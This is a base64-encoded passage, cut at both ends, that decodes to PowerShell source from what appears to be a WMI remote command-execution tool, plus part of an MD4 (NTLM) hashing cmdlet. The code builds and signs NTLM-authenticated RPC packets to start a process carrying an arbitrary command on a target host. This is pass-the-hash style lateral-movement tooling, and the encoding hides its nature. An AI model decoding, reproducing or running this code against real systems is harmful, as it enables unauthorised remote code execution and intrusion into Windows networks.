MHgwMCwweDAwLDB4MDAsMHgxMSwweDAwLDB4MDAsMHgwMCwweDBhLDB4MDAsMHgwMCwweDgwLDB4MDMsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDA4LDB4MDAsMHgwMCwweDAwLDB4ZWYsMHgwMiwweDAwLDB4MDAsMHgwMCwweDQ5LDB4NmUsMHgwMCwweDBkLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMiwweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MWMsMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwweDAzLDB4MDgsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweGVmLDB4MDIsMHgwMCwweDAwLDB4MTYsMHgwMywweDAwLDB4MDAsMHgwMiwweDBiLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHhmZiwweGZmLDB4MDEsMHgwMCwweDAwLDB4MDAsMHg0YywweDAzLDB4MDAsMHgwMCwweDAwLDB4NTcsMHg0ZCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NDksMHg3YywweDU3LDB4NjksMHg2ZSwweDMzLDB4MzIsMHg1ZiwweDUwLDB4NzIsMHg2ZiwweDYzLDB4NjUsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDczLDB4NzMsMHg1MywweDc0LDB4NjEsMHg3MiwweDc0LDB4NzUsMHg3MCwweDAwLDB4MDAsMHg0ZCwweDYxLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg3MCwweDcwLDB4NjksMHg2ZSwweDY3LDB4NTMsMHg3NCwweDcyLDB4NjksMHg2ZSwweDY3LDB4NzMsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MGQsMHgwMCwweDAwLDB4MDAsMHgwMiwweDAwLDB4MDgsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MjksMHgwMCwweDAwLDB4MDAsMHgwYSwweDAwLDB4MDAsMHg4MCwweDAzLDB4MDgsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweGVmLDB4MDIsMHgwMCwweDAwLDB4MTYsMHgwMywweDAwLDB4MDAsMHgwMiwweDBiLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHhmZiwweGZmLDB4NjYsMHgwMywweDAwLDB4MDAsMHgwMiwweDA4LDB4MjAsMHgwMCwweDAwLDB4NDQsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAzLDB4MDAsMHgwMCwweDAwLDB4NDksMHg0NCwweDAwLDB4MGQsMHgwMCwweDAwLDB4MDAsMHgwMiwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwOCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MzYsMHgwMCwweDAwLDB4MDAsMHgwYSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDgwLDB4MDMsMHgwOCwweDAwLDB4MDAsMHgwMCwweGY1LDB4MDMsMHgwMCwweDAwLDB4MTYsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAzLDB4MDAsMHgwMCwweDAwLDB4MGIsMHgwMCwweDAwLDB4MDAsMHhmZiwweGZmLDB4NjYsMHgwMywweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAyLDB4MDgsMHgyMCwweDAwLDB4MDAsMHg0NCwweDAzLDB4MDAsMHgwMCwweGFkLDB4MDMsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgxMSwweDAzLDB4MDAsMHgwMCwweDAwLDB4MDIsMHgwMCwweDAwLDB4MDAsMHgwMCwweDZmLDB4NjIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDZhLDB4NjUsMHg2MywweDc0LDB4M2EsMHg1NywweDY5LDB4NmUsMHgzMywweDMyLDB4NWYsMHg1MCwweDcyLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHg2ZiwweDYzLDB4NjUsMHg3MywweDczLDB4NTMsMHg3NCwweDYxLDB4NzIsMHg3NCwweDc1LDB4NzAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKCwweDAwICogNTAxKSArDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29tbWFuZF9sZW5ndGggKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDNjLDB4MGUsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwNCwweDAwLDB4MDAsMHgwMCwweDAxICsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb21tYW5kX2xlbmd0aDIgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDgwLDB4MDAsMHg1ZiwweDVmLDB4NTAsMHg0MSwweDUyLDB4NDEsMHg0ZCwweDQ1LDB4NTQsMHg0NSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4NTIsMHg1MywweDAwLDB4MDAgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbW1hbmRfYnl0ZXMgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDA0LDB4MDAsMHgwMiwweDAwLDB4MDAsMHgwMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkU3R1Yl9kYXRhLkxlbmd0aCAtbHQgJHJlcXVlc3Rfc3BsaXRfaW5kZXgpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X2ZsYWdzID0gMHg4Mw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXN1bHQnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9zcGxpdCA9ICR0cnVlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9zcGxpdF9zdGFnZV9maW5hbCA9IFtNYXRoXTo6Q2VpbGluZygkc3R1Yl9kYXRhLkxlbmd0aCAvICRyZXF1ZXN0X3NwbGl0X2luZGV4KQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkcmVxdWVzdF9zcGxpdF9zdGFnZSAtbHQgMikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9sZW5ndGggPSAkc3R1Yl9kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHViX2RhdGEgPSAkc3R1Yl9kYXRhWzAuLigkcmVxdWVzdF9zcGxpdF9pbmRleCAtIDEpXQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X3NwbGl0X3N0YWdlID0gMg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXJfY291bnRlciA9IDEwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3RfZmxhZ3MgPSAweDgxDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3Rfc3BsaXRfaW5kZXhfdHJhY2tlciA9ICRyZXF1ZXN0X3NwbGl0X2luZGV4DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2VfbmV4dCA9ICdSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKCRyZXF1ZXN0X3NwbGl0X3N0YWdlIC1lcSAkcmVxdWVzdF9zcGxpdF9zdGFnZV9maW5hbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9zcGxpdCA9ICRmYWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzZXF1ZW5jZV9udW1iZXIgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRzZXF1ZW5jZV9udW1iZXJfY291bnRlcikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9zcGxpdF9zdGFnZSA9IDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gJHN0dWJfZGF0YVskcmVxdWVzdF9zcGxpdF9pbmRleF90cmFja2VyLi4kc3R1Yl9kYXRhLkxlbmd0aF0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1Jlc3VsdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9sZW5ndGggPSAkc3R1Yl9kYXRhLkxlbmd0aCAtICRyZXF1ZXN0X3NwbGl0X2luZGV4X3RyYWNrZXINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3R1Yl9kYXRhID0gJHN0dWJfZGF0YVskcmVxdWVzdF9zcGxpdF9pbmRleF90cmFja2VyLi4oJHJlcXVlc3Rfc3BsaXRfaW5kZXhfdHJhY2tlciArICRyZXF1ZXN0X3NwbGl0X2luZGV4IC0gMSldDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcXVlc3Rfc3BsaXRfaW5kZXhfdHJhY2tlciArPSAkcmVxdWVzdF9zcGxpdF9pbmRleA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyZXF1ZXN0X3NwbGl0X3N0YWdlKysNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc2VxdWVuY2VfbnVtYmVyID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkc2VxdWVuY2VfbnVtYmVyX2NvdW50ZXIpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNlcXVlbmNlX251bWJlcl9jb3VudGVyKysNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVxdWVzdF9mbGFncyA9IDB4ODANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zdGFnZV9uZXh0ID0gJ1JlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDID0gR2V0LVBhY2tldFJQQ1JlcXVlc3QgJHJlcXVlc3RfZmxhZ3MgJHN0dWJfZGF0YS5MZW5ndGggMTYgJHJlcXVlc3RfYXV0aF9wYWRkaW5nICRyZXF1ZXN0X2NhbGxfSUQgJHJlcXVlc3RfY29udGV4dF9JRCAkcmVxdWVzdF9vcG51bSAkcmVxdWVzdF9VVUlEDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRyZXF1ZXN0X3NwbGl0KQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDWyJSUENSZXF1ZXN0X0FsbG9jSGludCJdID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcmVxdWVzdF9sZW5ndGgpDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTlRMTVNTUF92ZXJpZmllciA9IEdldC1QYWNrZXROVExNU1NQVmVyaWZpZXIgJHJlcXVlc3RfYXV0aF9wYWRkaW5nIDB4MDQgJHNlcXVlbmNlX251bWJlcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQyA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDDQogICAgICAgICAgICAgICAgICAgICAgICAkTlRMTVNTUF92ZXJpZmllciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTlRMTVNTUF92ZXJpZmllciANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfc2lnbmF0dXJlID0gJEhNQUNfTUQ1LkNvbXB1dGVIYXNoKCRzZXF1ZW5jZV9udW1iZXIgKyAkUlBDICsgJHN0dWJfZGF0YSArICROVExNU1NQX3ZlcmlmaWVyWzAuLigkcmVxdWVzdF9hdXRoX3BhZGRpbmcgKyA3KV0pDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX3NpZ25hdHVyZSA9ICRSUENfc2lnbmF0dXJlWzAuLjddDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05UTE1TU1BfdmVyaWZpZXJbIk5UTE1TU1BWZXJpZmllcl9OVExNU1NQVmVyaWZpZXJDaGVja3N1bSJdID0gJFJQQ19zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICROVExNU1NQX3ZlcmlmaWVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OVExNU1NQX3ZlcmlmaWVyDQogICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9zZW5kID0gJFJQQyArICRzdHViX2RhdGEgKyAkTlRMTVNTUF92ZXJpZmllcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLldyaXRlKCRXTUlfY2xpZW50X3NlbmQsMCwkV01JX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLkZsdXNoKCkNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoISRyZXF1ZXN0X3NwbGl0KQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5SZWFkKCRXTUlfY2xpZW50X3JlY2VpdmUsMCwkV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uRGF0YUF2YWlsYWJsZSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkV01JX2NsaWVudF9yYW5kb21fcG9ydF9zdHJlYW0uUmVhZCgkV01JX2NsaWVudF9yZWNlaXZlLDAsJFdNSV9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBTdGFydC1TbGVlcCAtbSAkU2xlZXANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2UgPSAkV01JX2NsaWVudF9zdGFnZV9uZXh0DQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnUmVzdWx0Jw0KICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5EYXRhQXZhaWxhYmxlKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRXTUlfY2xpZW50X3JhbmRvbV9wb3J0X3N0cmVhbS5SZWFkKCRXTUlfY2xpZW50X3JlY2VpdmUsMCwkV01JX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFN0YXJ0LVNsZWVwIC1tICRTbGVlcA0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkV01JX2NsaWVudF9yZWNlaXZlWzExNDVdIC1uZSA5KQ0KICAgICAgICAgICAgICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGFyZ2V0X3Byb2Nlc3NfSUQgPSBEYXRhTGVuZ3RoMiAxMTQxICRXTUlfY2xpZW50X3JlY2VpdmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIkNvbW1hbmQgZXhlY3V0ZWQgd2l0aCBwcm9jZXNzIElEICR0YXJnZXRfcHJvY2Vzc19JRCBvbiAkdGFyZ2V0X2xvbmciDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJQcm9jZXNzIGRpZCBub3Qgc3RhcnQsIGNoZWNrIHlvdXIgY29tbWFuZCINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFdNSV9jbGllbnRfc3RhZ2UgPSAnZXhpdCcNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgU3RhcnQtU2xlZXAgLW0gJFNsZWVwDQogICAgICAgICAgICANCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnQuQ2xvc2UoKQ0KICAgICAgICAgICAgJFdNSV9jbGllbnRfcmFuZG9tX3BvcnRfc3RyZWFtLkNsb3NlKCkNCiAgICAgICAgfQ0KDQogICAgICAgICRXTUlfY2xpZW50LkNsb3NlKCkNCiAgICAgICAgJFdNSV9jbGllbnRfc3RyZWFtLkNsb3NlKCkNCiAgICB9DQoNCn0NCg0KfQ0KDQpGdW5jdGlvbiBHZXQtTUQ0SGFzaCB7DQo8Iw0KLlNZTk9QU0lTDQogICAgVGhpcyBjbWRsZXQgcmV0dXJucyB0aGUgTUQ0IGhhc2ggb2YgdGhlIGRhdGEgdGhhdCBpcyBpbnB1dC4NCiAgICBXQVJOSU5HOiBNRDQgaXMgbm90IHNlY3VyZSwgc28gaXQgc2hvdWxkIE5FVkVSIGJlIHVzZWQgdG8NCiAgICBwcm90ZWN0IHNlbnNpdGl2ZSBkYXRhLiBUaGlzIGNtZGxldCBpcyBmb3IgcmVzZWFyY2ggcHVycG9zZXMgb25seSENCiANCi5ERVNDUklQVElPTg0KICAgIFRoaXMgY21kbGV0IHJldHVybnMgdGhlIE1ENCBoYXNoIG9mIHRoZSBkYXRhIHRoYXQgaXMgaW5wdXQuDQogICAgV0FSTklORzogTUQ0IGlzIG5vdCBzZWN1cmUsIHNvIGl0IHNob3VsZCBORVZFUiBiZSB1c2VkIHRvDQogICAgcHJvdGVjdCBzZW5zaXRpdmUgZGF0YS4gVGhpcyBjbWRsZXQgaXMgZm9yIHJlc2VhcmNoIHB1cnBvc2VzIG9ubHkhDQogICAgVGhpcyBjbWRsZXQgdXNlcyBNaWNyb3NvZnQncyBpbXBsZW1lbnRhdGlvbiBvZiBNRDQsIGV4cG9ydGVkDQogICAgZnJvbSBiY3J5cHQuZGxsLiBUaGUgaW1wbGVtZW50YXRpb24gaXMgZnVsbHkgY29tcGxpYW50IHdpdGgNCiAgICBSRkMgMTMyMC4gVGhpcyBjbWRsZXQgdGFrZXMgYSBieXRlIGFycmF5IGFzIGlucHV0LCBub3QgYSBzdHJpbmcuDQogICAgU28gaWYgeW91IHdhbnRlZCB0byBoYXNoIGEgc3RyaW5nIChzdWNoIGFzIGEgcGFzc3dvcmQsKSB5b3UNCiAgICBuZWVkIHRvIGNvbnZlcnQgaXQgdG8gYSBieXRlIGFycmF5IGZpcnN0Lg0KIA0KLkVYQU1QTEUNCiAgICBHZXQtTUQ0SGFzaCAtRGF0YVRvSGFzaCAkKFtUZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRCeXRlcygiWW91clBhc3N3b3JkMSEiKSkNCiANCi5QQVJBTUVURVIgRGF0YVRvSGFzaA0KICAgIEEgYnl0ZSBhcnJheSB0aGF0IHJlcHJlc2VudHMgdGhlIGRhdGEgdGhhdCB5b3Ugd2FudCB0byBoYXNoLg0KIA0KLklOUFVUUw0KICAgIEEgYnl0ZSBhcnJheSBjb250YWluaW5nIHRoZSBkYXRhIHlvdSB3aXNoIHRvIGhhc2guDQogDQouT1VUUFVUUw0KICAgIEEgMTI4LWJpdCBoZXhhZGVjaW1hbCBzdHJpbmcgLSB0aGUgTUQ0IGhhc2ggb2YgeW91ciBkYXRhLg0KIA0KLk5PVEVTDQogICAgQXV0aG9yOiBSeWFuIFJpZXMsIDIwMTQsIHJ5YW5AbXlvdGhlcnBjaXNhY2xvdWQuY29tDQogDQouTElOSw0KICAgIGh0dHBzOi8vbXlvdGhlcnBjaXNhY2xvdWQuY29tDQojPg0KICAgIFtDbWRsZXRCaW5kaW5nKCldDQogICAgUGFyYW0gKFtQYXJhbWV0ZXIoTWFuZGF0b3J5PSRUcnVlLCBWYWx1ZUZyb21QaXBlbGluZT0kRmFsc2UpXSAgICAgICAgICANCiAgICAgICAgICAgW0J5dGVbXV0kRGF0YVRvSGFzaCkNCiAgICBFTkQNCiAgICB7ICAgICAgIA0KICAgICAgICBTZXQtU3RyaWN0TW9kZSAtVmVyc2lvbiBMYXRlc3QNCiAgICAgICAgaWYgKC1ub3QgKFtTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLlBTVHlwZU5hbWVdJ2RzYWZkc2FmZHNhZmRzJykuVHlwZSkNCiAgICAgICAgew0KICAgICAgICBBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gQCcNCiAgICAgICAgdXNpbmcgU3lzdGVtOw0KICAgICAgICB1c2luZyBTeXN0ZW0uVGV4dDsNCiAgICAgICAgdXNpbmcgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzOw0KICAgICAgICBwdWJsaWMgY2xhc3MgZHNhZmRzYWZkc2FmZHMNCiAgICAgICAgew0KICAgICAgICAgICAgW0RsbEltcG9ydCgiYmNyeXB0LmRsbCIsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQ0KICAgICAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gTlRTdGF0dXMgQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyKA0KICAgICAgICAgICAgICAgIFtPdXRdIG91dCBJbnRQdHIgcGhBbGdvcml0aG0sDQogICAgICAgICAgICAgICAgW0luXSBzdHJpbmcgcHN6QWxnSWQsDQogICAgICAgICAgICAgICAgW0luLCBPcHRpb25hbF0gc3RyaW5nIHBzekltcGxlbWVudGF0aW9uLA0KICAgICAgICAgICAgICAgIFtJbl0gVUludDMyIGR3RmxhZ3MpOw0KIA0KICAgICAgICAgICAgW0RsbEltcG9ydCgiYmNyeXB0LmRsbCIpXQ0KICAgICAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gTlRTdGF0dXMgQkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcigNCiAgICAgICAgICAgICAgICBbSW4sIE91dF0gSW50UHRyIGhBbGdvcml0aG0sDQogICAgICAgICAgICAgICAgW0luXSBVSW50MzIgZHdGbGFncyk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIiwgQ2hhclNldCA9IENoYXJTZXQuQXV0byldDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRDcmVhdGVIYXNoKA0KICAgICAgICAgICAgICAgIFtJbiwgT3V0XSBJbnRQdHIgaEFsZ29yaXRobSwNCiAgICAgICAgICAgICAgICBbT3V0XSBvdXQgSW50UHRyIHBoSGFzaCwNCiAgICAgICAgICAgICAgICBbT3V0XSBJbnRQdHIgcGJIYXNoT2JqZWN0LA0KICAgICAgICAgICAgICAgIFtJbiwgT3B0aW9uYWxdIFVJbnQzMiBjYkhhc2hPYmplY3QsDQogICAgICAgICAgICAgICAgW0luLCBPcHRpb25hbF0gSW50UHRyIHBiU2VjcmV0LA0KICAgICAgICAgICAgICAgIFtJbl0gVUludDMyIGNiU2VjcmV0LA0KICAgICAgICAgICAgICAgIFtJbl0gVUludDMyIGR3RmxhZ3MpOw0KIA0KICAgICAgICAgICAgW0RsbEltcG9ydCgiYmNyeXB0LmRsbCIpXQ0KICAgICAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gTlRTdGF0dXMgQkNyeXB0RGVzdHJveUhhc2goDQogICAgICAgICAgICAgICAgW0luLCBPdXRdIEludFB0ciBoSGFzaCk7DQogDQogICAgICAgICAgICBbRGxsSW1wb3J0KCJiY3J5cHQuZGxsIildDQogICAgICAgICAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBOVFN0YXR1cyBCQ3J5cHRIYXNoRGF0YSgNCiAgICAgICAgICAgICAgICBbSW4sIE91dF0gSW50UHRyIGhIYXNoLA0KICAgICAgICAgICAgICAgIFtJbiwgTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuTFBBcnJheSldIGJ5dGVbXSBwYklucHV0LA0KICAgICAgICAgICAgICAgIFtJbl0gaW50IGNiSW5w